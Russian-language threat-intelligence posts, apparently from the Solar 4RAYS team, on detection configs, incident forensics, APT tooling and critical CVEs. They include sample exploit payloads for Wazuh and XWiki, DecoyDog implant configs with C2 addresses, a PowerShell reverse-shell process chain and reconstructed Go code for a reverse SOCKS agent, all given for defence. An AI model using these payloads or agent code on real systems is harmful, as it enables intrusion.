Конфигурация для Falco от команды Solar 4RAYS

Недавно мы рассказывали о преимуществах Falco — open-source инструмента, который изначально предназначался для контейнерных сред, но отлично подходит и для мониторинга стандартных Linux-систем без контейнеризации.

Сегодня хотим поделиться с вами конфигурацией для этого инструмента, которую мы разработали для противодействия угрозам. Она позволяет:

👽 отслеживать запуски процессов и сетевые соединения;

👽 детектировать создание файлов через memfd, загрузку EBPF-модулей и другие техники;

👽 фиксировать действия самоудаляющихся процессов.

Этот конфиг — не просто универсальное решение, а отправная точка для построения вашей защиты. Мы рекомендуем адаптировать его под специфические потребности вашей инфраструктуры, наращивая экспертизу и добавляя уникальные правила, которые соответствуют вашим рискам.

Подробнее о подходах, примерах правил и реальных сценариях использования вы можете узнать из нашей статьи и выступления на SOC Forum.

Скачивайте нашу конфигурацию для Falco на GitHub.

Особенности новой версии Gorgon Stress

Недавно мы рассказывали об утилите Gorgon Stress, предназначенной для осуществления DDoS-атак. С тех пор авторы успели выпустилить новую версию — 1.9.9.8.2.

«Горгону» часто используют для атак на российские веб-ресурсы, поэтому важно следить за её эволюцией, чтобы быстрее адаптировать защиту.

В этой версии злоумышленники:

✅изменили работу HTTP Flood,
✅добавили новый тип атаки,
✅использовали PROXY Protocol в HTTP Flood, что может ввести в заблуждение средства защиты от DDoS-атак.

Полный список изменений, сделавших утилиту более гибкой и опасной, и советы по защите собрали в статье.

Давайте уже после Чек-лист: что нужно успеть до праздников

Близятся каникулы. Подготовить к ним нужно не только праздничный стол, но и инфраструктуру.

По нашим наблюдениям, новогодние праздники редко обходятся без киберинцидентов: пока часть ИБ- и ИТ-команд отдыхает или работает удаленно, злоумышленники почти беспрепятственно проникают в целевые инфраструктуры. 

Мы подготовили небольшой гайд с советами, которые помогут обезопасить инфраструктуру. Вот краткая версия:

👽проведите инвентаризацию,
👽сделайте бэкапы,
👽установите патчи,
👽наведите порядок с паролями и учетными записями,
👽сделайте оценку компрометации. 

Подробности читайте в блоге.

Кстати, на недавнем SOC Forum мы выстапили с докладом на тему ошибок, которые команды допускают в процессе реагирования. Коллеги из «Лаборатории Касперского» выпустили замечательный пост на ту же тему — не забудьте изучить. Но лучше, конечно, не доводить до инцидента и воспользоваться советами из нашей памятки.

С наступающим!🌲

Событие 1015 журнала Windows-SMB Server/Security

В одном расследовании, которое мы сейчас проводим, наша команда столкнулась с применением одной из APT-группировок известного всем Impacket.

На исследуемых системах аудит присутствовал в виде стандартных журналов ОС в состоянии «по умолчанию». При анализе мы зафиксировали цепочку событий, характерную для удаленного выполнения команд через модуль AtExec:

😬 4624 LogonType 3 журнала «Security», содержащее полезные данные в виде IP-адреса системы источника и используемой учётной записи;

😬 события 106, 100, 110, 129, 102, 200, 201, 141 журнала «Microsoft-Windows-TaskScheduler/Operational» — создание, запуск, завершение и удаление задачи планировщика. При этом имя создаваемой задачи по умолчанию соответствует регулярному выражению [a-zA-Z]{8};

😬 4634 журнала «Security» и LogonId совпадающим с LogonId события 4624.

Мы обратили внимание на событие с Event id 1015 журнала «Microsoft-Windows-SMBServer/Security» в окрестностях выполнения команд на хосте через AtExec. Оно приведено на скриншоте 👆

На сервере была включена подпись SMB-пакетов. Этот механизм повышает защищённость взаимодействия по данном протоколу и эффективен против NTLM-Relay атак.

Помимо того, что это событие подсвечивает аномалии, связанные с работой сервера SMB, оно содержит полезную информацию в виде IP-адреса системы-источника — адрес клиента.

А еще журнал, в котором оно содержится, как правило, ротируется значительно медленнее привычного журнала Security.

Именно так нам удалось обнаружить следы AtExec, который использовался атакующими в течение нескольких лет.

При реагировании на инциденты, особенно в случаях, если аудит настроен слабо, а широко известные журналы и артефакты операционных систем пусты, не опускайте руки — старайтесь найти любые события, которые могут пролить свет на происходящее. Например, событие 1015.

Чем полезен журнал Event Trace Logs

Недавно у нас на анализе оказался интересный «пациент»: веб-сервер на ОС Windows, на котором было запущенно несколько веб-служб. Все указывало на то, что атакующие проникли через него, но вот незадача — в системе не оказалось веб-логов. Их не удалили, а просто не настроили.

Можно было бы просто признать сервер точкой входа по косвенным признакам, но хотелось узнать точную причину компрометации. Как мы это сделали:

1️⃣ Самой ранней обнаруженной вредоносной активностью являлось выполнение PowerShell-команды от имени системы для запуска Reverse Shell к серверу атакующего, которую мы обнаружили в журнале PowerShell.

Однако на момент исследования система уже была перезагружена и восстановить дерево процессов привычным способом было невозможно.

2️⃣ Здесь нам и пригодились журналы ETL. Windows записывает предупреждения, ошибки и другие события на уровне приложений и системы в двоичный файл — журнал трассировки событий, или же ETL.

В ETL-журнале C\Windows\System32\WDI\LogFiles\ShutdownPerfDiagLogger.etl мы обнаружили запись о процессе, который выполнил команду ReverseShell, а с помощью полей PID и PPID смогли восстановить нужную цепочку процессов:

* postgres.exe
** cmd.exe /c ""powershell.exe -ep bypass -EncodedCommand <base64>""
*** powershell.exe  -ep bypass -EncodedCommand <base64>

Таким образом мы подтвердили гипотезу, что виновником инцидента был необновленный PostgreSQL.

Для обработки данного артефакта вы можете воспользоваться проектом ETLParser, который доступен на GitHub.

Продолжаем отслеживать NGC5350

Сегодня хотим поделиться любопытной информацией о кластере NGC5350, который коллеги по индустрии именуют группировкой Hellhounds.

Недавно на публичный мультисканер из России загрузили ELF-семпл DecoyDog под именем «33»:

03b007a5fbb9d1556b4bedd6e930463ce35f5ae17b245edc58c12eb086de891f

Захардкоженный в теле семпла хэш коммита GitHub: revision 673a05b1.

Это connect-имплант DecoyDog, а не DNS, про который чаще выпускали статьи коллеги по индустрии. Он подключается к указанному C2, используя заданный тип транспорта. Конфиг рассматриваемого семпла:

"launcher": "connect",
"launcher_args": ["-t", "ec4", "--host", "185.143.221.125:80"]

Также в конфиге были SSL-сертификаты с датой начала действия (Not Before): 16/07/2024 15:34:40.

Информация по C2 — 185.143.221.125 Moscow AS 51659 (LLC Baxet). В 2024 резолвился в:


ns1.dpi-srv-s01.net
ns2.dpi-srv-s01.net

Домен зарегистрирован 2024-08-28. По информации из сертификатов, образец мог использоваться уже в июле 2024.

На 185.143.221.125 на порту 49364/TCP мы обнаружили сертификат с характерным Subject:


Subject C=ZZ, O=Pupy, CN=185.143.221.125

Это сертификат proxy-сервера DecoyDog. Подобные сертификаты используются в golang-коде утилиты proxy из GitHub Pupy и упоминались в первой статье Infoblox.

Сертификат создан на следующий день после начала действия сертификатов семпла.

По параметрам сертификата Proxy можно найти дополнительные Proxy-серверы DecoyDog или Pupy:

5.252.176.63 MIVOCLOUD (39798) Moscow, Russia
91.210.107.141 ORG-LVA15-AS (50867) Moscow, Russia
5.252.176.45 MIVOCLOUD (39798) Moscow, Russia
52.184.34.71 MICROSOFT-CORP-MSN-AS-BLOCK (8075) Hong Kong

Разберем детальнее каждый IOC

1️⃣ 5.252.176.63:64539 (01.06.2024-01.06.2025)

Тут Issuer не пустой: Issuer C=ZZ, O=Pupy CA.

В 2024-01-11 стал резолвиться в mp0.ignorelist.com, который использовался First Stage Decoy Dog Loader for Windows «MaxPatrol SIEM Agent.exe» из статьи «Hellhounds: Операция Lahat. Часть 2».

2️⃣ 91.210.107.141:62731 (31.08.2024-31.08.2025)

С 2024-08-01 резолвится в:

ns1.mow-srv-0074h.network
ns2.mow-srv-0074h.network

По неймингу похож на старые C2 DecoyDog.

Здесь поле Issuer пустое. Вышеупомянутая golang-утилита proxy генерирует сертификаты с непустым Issuer.

3️⃣ 5.252.176.45:29311 (25.09.2024-25.09.2025)

Здесь поле Issuer тоже пустое. IP упомянут в одном из GitHub, как «TOR Known Tor Relay/Route».

4️⃣ 52.184.34.71:9000 (01.10.2024-01.10.2025)

На 80/TCP CaddyServer— веб-сервак на Go.

Тут Issuer не пустой: Issuer C=ZZ, O=Pupy CA. В Names и CN вместо ожидаемого 52.184.34.71: 10.1.0.4

Что ещё интересного

Есть ещё старый DecoyDog из 2023 года с таким же revision 673a05b1 — _bareos.cfg:

d189e0150f42d2a2e40fefcec6973fcbc4a8b1a1757a358d13df3519ef275412

Загружен на мультисканер 2023-09-12 04:47:24 +0300 MSK от того же пользователя, что и упомянутый в начале поста семпл. Это тоже connect DecoyDog апреля 2023 года. Конфиг:

"launcher": "connect",
"launcher_args": ["-t", "ec4", "--host", "194.87.68.65:80"]

Этот семпл и C2 уже упоминались в первой части статьи «Hellhounds: операция Lahat».

Интересно, что в атаках в апреле 2023 и в летом 2024 года использовался один и тот же connect-имплант, но с разными C2.

IOC:

C2 connect DecoyDog:
185.143.221.125
194.87.68.65

proxy PupyRAT или DecoyDog:

5.252.176.45
5.252.176.63
52.184.34.71
91.210.107.141

Возможно, пустой Issuer — это показатель, что используется кастомная версия proxy, и перед нами не стандартный Pupy, а DecoyDog.

NGC4020: угроза, способная отключить оборону

В марте 2024 года наша команда расследовала атаку на российскую промышленную компанию. Злоумышленники использовали вредоносный имплант пространства ядра для обхода антивирусного решения. Он отключал обратные вызовы ядра и драйвера минифильтра, блокируя механизм защиты.

Читайте статью «Как NGC4020 отключают вашу защиту, используя уязвимость в DameWare Mini Remote Control», чтобы узнать:

👽 Как через уязвимость в популярном инструменте удаленного администрирования злоумышленники проникли в инфраструктуру.

👽 С помощью чего им удалось обойти антивирус и какое ВПО использовалось для закрепления на атакуемых системах.

👽 Почему атакующим не удалось развить атаку.

Еще раз о десериализации VIEWSTATE: как правильно менять скомпрометированные ключи ASP.NET, чтобы атакующим было труднее вернуться

Коллеги из Microsoft опубликовали любопытный разбор атаки с использованием уязвимости десериализации ненадежного параметра ViewState и публично известных ключей ASP.NET.

TLDR: неизвестная группировка использует публично доступные статичные ключи ASP.NET, чтобы через десериализацию ненадежного параметра ViewState внедрять вредоносный код и доставлять на целевые машины постэксплуатационный фреймворк Godzilla.

Microsoft рекомендует заменять статичные ключи ASP.NET, но не учитывает, что злоумышленники могут получить доступ к auto-generated ключам, мастер-ключ которых хранится в реестре. В этом случае процесс замены будет отличаться — а «живые» атаки с такими особенностями уже были.

В конце 2023 года мы расследовали случаи, в которых две не связанные между собой APT-группировки эксплуатировали десериализацию ненадежного параметра ViewState (кейс 1, кейс 2).

В обоих случаях у жертв использовались auto-generated-ключи на Exchange-серверах, и злоумышленники получили доступ к ним.

Для корректной смены скомпрометированных auto-generated ключей необходимо:

1️⃣ удалить старое скомпрометированное значение из реестра,

2️⃣ перезапустить службу веб-сервера IIS или соответствующий worker-процесс. 

Также рекомендуем настроить доступ к критичным сервисам, таким как Exchange, через VPN. Это усложнит внешнему злоумышленнику проведение подобных атак и даст время на смену скомпрометированных ключей.

Очень подробно алгоритм смены скомпрометированных auto-generated ключей мы разобрали здесь.

🚨 NGC5160 атаковала почтовые серверы Communigate c помощью критической уязвимости

Недавно ФСТЭК опубликовала информацию об уязвимости в почтовых серверах CommunigatePro. Она проста в эксплуатации и позволяет атакующим удаленно выполнить произвольный код на почтовом сервере, а потому является критической. В CVSS эта брешь получила оценку 9.8.

В октябре 2024 года мы расследовали серию атак на почтовые серверы с ПО CommunigatePro — их целью была полная компрометация почтовой переписки организаций из государственного, оборонно-промышленного комплекса и НКО. 

Мы ещё собираем сведения, чтобы отнести атаку к какой-либо группировке, поэтому пока назвали этот кластер NGC5160. Наш анализ обстоятельств позволяет предположить, что в них использовалась одна или несколько уязвимостей нулевого дня в CommunigatePro.

Вот несколько рекомендаций по защите, которые помогут обезопаситься сейчас и затруднить подобные атаки в будущем:

1️⃣ установите обновление от разработчика: https://communigatepro.ru/history;

2️⃣ разрешите подключения к почтовому серверу только из корпоративной сети или VPN;

3️⃣ для приема писем используйте SMTP-relay;

4️⃣ ограничьте исходящие соединения сервера в интернет -— это позволит затруднить развитие атаки в случае успешной эксплуатации.

Обратите внимание на все эти рекомендации, поскольку уязвимости может быть подвержена каждая версия продукта, в том числе распространенная Communigate Pro 6.4.*, для которой пока что нет патча.

Критическая уязвимость WAZUH CVE-2025-24016

В сети появился первый открытый шаблон для сканера уязвимостей Nuclei, проверяющий на наличие уязвимости CVE-2025-24016.

Описание:

В версиях Wazuh с 4.4.0 по 4.9.1 включительно обнаружена уязвимость, связанная с небезопасной десериализацией, позволяющая удаленно выполнять код на сервере.

Метрики:

Base Score: 9.9
CWE-502

Известные подробности:

В DistributedAPI данные сериализуются в JSON и десериализуются через as_wazuh_object (файл framework/wazuh/core/cluster/common.py). Если злоумышленник сможет вставить несанкционированный словарь в запрос или ответ DAPI, это позволит ему подделать необработанное исключение (unhandled_exc) и выполнить произвольный Python-код.

Полезная нагрузка передается в формате JSON. Для реализации атаки необходимо передать учетные данные или токен авторизации совместно с полезной нагрузкой. В шаблонах фигурирует уязвимая конечная точка /security/user/authenticate/run_as.

Пример нагрузки:

 {"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}} 

❗️ Возможно, существуют иные методы эксплуатации CVE-2025-24016.

Как защититься:

👀 Обновиться на версию 4.9.1 или новее;

👀 Сменить стандартные значения Логин/Пароль от DAPI;

👀 Для регистрации на WAF/IDS попыток сканирования уязвимости CVE-2025-24016 публичными шаблонами, рекомендуем написать правило, которое будет блокировать/помечать POST запросы с заголовком Content-Type: application/json и body равному регулярному выражению:

__unhandled_exc__[\":{ ]+(__class__|__call__).*?__args__

P.S. Команда 4RAYS продолжает следить за новыми способами эксплуатации CVE-2025-24016. Если появятся какие-то подробности, мы расскажем о них в канале.

Пара слов о Trusted relationship

С начала года команда Solar 4RAYS уже дважды расследовала инциденты, где первичное проникновение в инфраструктуру осуществлялось через подрядчиков.

Мы обнаружили:

👾 вход по RDP с использованием УЗ подрядчика в нерабочее время;

👾 размещение вредоносного ПО класса Proxy (Chisel, Localtonet) с дальнейшей активностью через установленный туннель;

👾 дампинг lsass для получения новых УЗ и более высоких привилегий, на поздних стадиях атаки — DCSync;

👾 использование утилиты Sysinternals (ProcDump и PsExec), Impacket и Mimikatz;

👾 использование в атаке Kali Linux по данным журналов.

Техники не новые — бреши в организациях остаются прежними. Хотим поделиться советами: что сделать, чтобы атакующим было сложнее оказаться в вашей инфраструктуре и навредить ей.

0️⃣ Прежде чем предоставить подрядчику доступ к вашей сети, убедитесь, что он себя защищает:
— регулярно делает оценку компрометации;
— проводит аудит: Penetration Testing, Red Teaming.

Важно, чтобы у подрядчика вовремя обновлялось ПО и существовали политики для паролей и разграничения доступа. Если этого нет, он станет потенциальным источником угрозы.

1️⃣ Используйте двухфакторную аутентификацию для подрядчиков и VPN-подсети для внутренних сервисов. Это затруднит атакующим первоначальное проникновение и дальнейшее продвижение по инфраструктуре.

2️⃣ Сегментируйте сеть. Даже если атакующие получили доступ к вашей инфраструктуре через подрядчика, изоляция критичных сегментов или систем на сетевом уровне позволит сократить поверхность атаки.

3️⃣ Деактивируйте учетные записи подрядчиков, когда работы внутри инфраструктуры будут окончены. В случае необходимости их можно будет активировать.

Отслеживайте неиспользуемые учетные записи подрядчиков — они могут быть активны. В управлении жизненным циклом учеток, доступом к внутренним системам и сервисам поможет IdM.

4️⃣ Мониторьте активность в сети ежедневно. Оба наших инцидента закончились благополучно, потому что коллеги из SOC своевременного заметили вредоносные действия. Правда, атакующие использовали весьма «шумные» техники, поэтому найти их было несложно.

Когда в системах нет мониторинга событий, а атака развивается по сценарию Living of the Land, быстро обнаружить злоумышленников не получится — а значит может быть уже слишком поздно.

Группировка Erudite Mogwai использует в атаках кастомный Stowaway для продвижения в сети жертвы

Stowaway — это утилита для пентестеров на языке «Golang» от китайских разработчиков. Она позволяет туннелировать трафик и создавать reverse shell.

Злоумышленники используют лишь её прокси-часть с собственными доработками. По сути, они создали форк, который меняет протокол и базовую функциональность с каждой версией.

Мы сравнили известные нам семплы Stowaway с новыми и с оригинальной утилитой. Вот ключевые особенности:

💣 Злоумышленники используют lz4 для сжатия;

💣 Трафик шифруют алгоритмом XXTEA;

💣 Кодовое слово передается в аргумент -f. Затем от него вычисляется md5 и сравнивается со значением из семпла. Если кодовое слово не совпадает — утилита перестает работать;

💣 В новых версиях группировка добавила поддержку «QUIC-go»;

💣 С каждой новой итерацией меняются «Hello Message» и сама структура протокола.

Недавно нам попался новый семпл 01b3cfe581e5243f5b3a38a6ba229d3fe32175c480ac0999e515463c03c92a6e, который для сжатия данных использует библиотеку «Flate». Его загрузка происходила с IP 176.32.35.184.

Раньше эта группировка была известна под названием Space Pirates. Мы же называем её Erudite Mogwai. Дело в том, что в семплах мы нашли отсылки на исторические события и литературные произведения — атакующие демонстрируют свою эрудированность.

Подробнее про утилиту и про новый инцидент, связанный с группировкой, читайте в нашей новой статье.

Критическая уязвимость в XWiki CVE-2025-24893

В сети появилась новая уязвимость — рассказываем, как она выглядит и где ее искать.

Описание

Любой пользователь может выполнить произвольное удаленное выполнение кода (RCE) через запрос к SolrSearch. Уязвимы версии 5.3-milestone-2 по 15.10.11 и с версии 16.0.0-rc-1 до 16.4.1

Метрики

Base Score: 9.8
CWE-95

Настоятельно рекомендуем обновиться ❗️

Подробности атаки

Были обнаружены несколько PoC exploit на данную уязвимость. Уязвимой конечной точкой является /xwiki/bin/get/Main/SolrSearch, при значении параметра media равным rss. Сама полезная нагрузка передается в GET или POST параметре text и со значением параметра media равным rss.

Пример нагрузки

```}}}{{async async=false}}{{groovy}}CODE{{/groovy}}{{/async}}```

Детали
— Количество закрытых фигурных скобок в начале может быть любым, их может и не быть.
— {{async async=false}} — попытка отключить асинхронное выполнение макросов.
— {{groovy}} — открывает блок макроса Groovy, который позволяет выполнить Groovy-код на сервере. Могут использоваться и другие виды скриптов, например, python.
— CODE — произвольный код. Вместо CODE располагается RCE код, bash команды могут предаваться внутри, например, new ProcessBuilder.
— Блок кода в CODE может быть не один, их может быть множество, они будут перечислены через точку с запятой: ….{{groovy}}CODE1; CODE2; CODE3{{/groovy….

Рекомендации по детекту

Ловить эту атаку сможет правило, которое:

1️⃣проверяет, что запросы идут на /xwiki/bin/get/Main/SolrSearch;
2️⃣ проверяет, что параметр media равен rss;
3️⃣ Проверяет, что параметр text содержит открытие блока макроса {{groovy}},{{python}},{{javanoscript}} и т.д.

Подробнее ознакомиться со всеми языками, которые поддерживает xwiki, можно в документации.

MSConnect ReverseSocks5

В одном из инцидентов нам попался любопытный бинарный файл с именем MSConnect.exe, который был написан на Golang и накрыт обфускатором «Garble». Символы и строки в нем запутаны, но понять, какие библиотеки используются, можно, например, с помощью «GoStringUngarbler» — там оказались «Go-socks5» и «Yamux».

Функция main состоит всего из двух вызовов.

1️⃣ В первом происходит расшифровка строки C2 сервера 80.87.203.112:8050.

2️⃣ Во второй функции по смещению 0x4375c0 происходит сначала такой вызов:

lea     rax, aTcp       ; "tcp"
call    En5ByLpA.Z6n01OjnUBoF

Исходя из строки «tcp», можно предположить, что En5ByLpA.Z6n01OjnUBoF — это функция Dial из пакета crypto/tls, либо из пакета net.

Для подтверждения этой гипотезы можно заглянуть в таблицу символов — Garble обфусцирует не все имена функций — и поискать по имени пакета En5ByLpA. Используем goresym и видим:

        {
            "PackageName": "En5ByLpA",
            "FullName": "En5ByLpA.SignatureScheme.String"
        },
        {
            "PackageName": "En5ByLpA",
            "FullName": "En5ByLpA.CurveID.String"
        },
        {
            "PackageName": "En5ByLpA",
            "FullName": "En5ByLpA.ClientAuthType.String"
        },

Типы CurveID, ClientAuthType, SignatureScheme в совокупности характерны для пакета crypto/tls, поэтому смело переименовываем En5ByLpA в crypto/tls.

Далее мы видим вызов функции aBzGlgO.BjV1mgp64WX. По строкам внутри понимаем, что это yamux.Server.

Затем следуют вызовы yamux.AcceptStream и FUN_004377e0. Внутри находится вызов go-socks5.ServeConn. Получаем:

... (config initialization)

dialConn, err := tls.Dial(C2);
session := yamux.Server(dialConn, config);

for {
    stream, err := session.AcceptStream();
    ServeConn(stream); // from go-socks5
  }

Функция с похожей структурой встречается в проекте XieBroC2, который использует наработки из Acebond/ReverseSocks5.

ReverseSocks5 — это утилита, которая сочетает в одном бинаре SOCKS5 агент и сервер. Сервер хостится на стороне злоумышленника, на его же стороне открывается определенный порт, например, 8050, как в найденном C2, а сам трафик проксируется через подключенные к серверу агенты.

Если заглянуть в файл main.go, можно увидеть такую функцию:

func ReverseSocksAgent(serverAddress, psk string, useTLS bool) {
  log.Println("Connecting to socks server at " + serverAddress)

  var conn net.Conn
  var err error

  if useTLS {
    conn, err = tls.Dial("tcp", serverAddress, nil)
  } else {
    conn, err = net.Dial("tcp", serverAddress)
  }

  if err != nil {
    log.Fatalln(err.Error())
  }

  _, err = conn.Write(magicPacket[:])
  if err != nil {
    log.Fatalln(err.Error())
  }

  log.Println("Connected")

  session := mux.Server(conn, psk)

  for {
    stream, err := session.AcceptStream()
    if err != nil {
      log.Println(err.Error())
      break
    }
    go func() {
      // Note ServeConn() will take overship of stream and close it.
      if err := ServeConn(stream); err != nil && err != mux.ErrPeerClosedStream {
        log.Println(err.Error())
      }
    }()
  }

  session.Close()
}

В коде этой функции используются другие реализации mux и SOCKS5 вместо «Yamux» и «Go-socks5» в найденном семпле, а также слегка отличается структура. Если заглянуть в историю и перейти к init-коммиту, то мы попадем именно на ту версию функции, которая представлена в исследуемом семпле.

Похоже, разработчики этого семпла использовали старый форк. Однако сам семпл все же отличается — в нем оставлена только функциональность агента и удалена обработка параметров командной строки, потому что адрес сервера теперь жестко зашит в бинарный файл.

IOC:

80.87.203.112:8050
7ecef21df2f513736389360429bd464398b700bde462807c68e39790a216707b